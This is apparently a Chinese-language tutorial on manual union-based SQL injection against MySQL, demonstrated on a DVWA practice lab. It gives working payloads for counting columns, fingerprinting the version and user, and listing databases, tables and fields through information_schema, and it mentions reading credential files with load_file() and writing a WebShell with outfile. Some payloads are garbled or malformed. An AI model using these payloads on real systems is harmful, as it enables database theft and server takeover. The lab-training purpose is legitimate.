🤴一、首先判断MySQL数据库版本
' union select user(),database()+--+ 查询数据库的版本。
MySQL 4版本数据库由于存在着字符转义与不支持字句查询的情况,因此在注入攻击上存在着很大的局限性,只能采用类似Access的方法进行查询猜解。
首先,利用order by获得当前表的字段数,再使用union select联合查询来获取想要的数据库信息。使用union select联合查询数据库时,由于不知道数据库中的表名与字段名,因此只能像Access一样直接用常见表名和字段名进行猜测判断。
MySQL 5版本由于information_schema库的存在,注入攻击相对来说方便了许多
通过load_file()函数来读取脚本代码或系统敏感文件内容,进行漏洞分析或直接获取数据库连接账号、密码。
通过dumpfile/outfile函数导出获取WebShell。
爆数据库版本
'union select user(),version()+--+&Submit=Submit#
检测注入点字段数目
order by和union select
通过order by查出字段数目N,然后联合查询。
and1=2 union select 1,2,3,4...,N--
http://192.168.1.55:8080/dvwa/vulnerabilities/sqli/?id=1' and 1=2 union select 1,2+--+&Submit=Submit#没报错到3就报错,说明2个字段
快速爆数据库版本、数据库名、链接用户
得到数据库版本为5.1.50,数据库名为“dvwa 数据库用户名为root "得到注入点处字段数目为“2"。再一次爆出数据库版本、数据库名和链接用户信息。
http://192.168.1.55:8080/dvwa/vulnerabilities/sqli/ id=1' union select user(),version()--+&Submit=Submit# +--+&Submit=Submit
爆出所有库名
在MySQL 5版本数据库中,由于新增加了一个information_schema库,该库中存储了数据库信息内容,因此可以直接爆库、爆表、爆字段,让注入攻击变得极为简单
爆出所有数据库名,共有9个数据库:information_schema,dedecms,dvwa,e,mambo......' union select 1,group_concat(schema_name) from information_schema.schemata+--+&Submit=Submit 获取mysql所有库
爆当前库里面所有表名
http://192.168.1.55:8080/dvwa/vulnerabilities/sqli/?id=1'and1=2 union select 1,group_concat(table_name) from information_schema.tableswhere table_schema=database()+--+&Submit=Submit
爆表中的字段名
union select group_concat(SCHEMA_NAME) from information_schema.schemata.columns where table_name=表名的十六进制编码
该语句是将指定的表名转换为十六进制编码,查询该表名中“COLUMNS”表中存储的与该表名相同的数据库中的所有字段名,从而获得当前数据库指定表中的所有字段名。
爆指定字段值
select group_concat(字段名1,0x7c,字段名2) from 表名
该语句是通过查询指定表中指定字段名的值,在此查询语句中就不必对字段名和表名进行十六进制编码转换了。其中有一个Ox7c是分隔符“|”的十六进制编码,用于对查询结果中的字段名进行分隔显示。
当数据库版本为4的时候
使用利用order by获得当前表的字段数,再使用union select联合查询来获取想要的数据库信息。使用union select联合查询数据库时,由于不知道数据库中的表名与字段名,因此只能像Access一样直接用常见表名和字段名进行猜测判断。
网友评论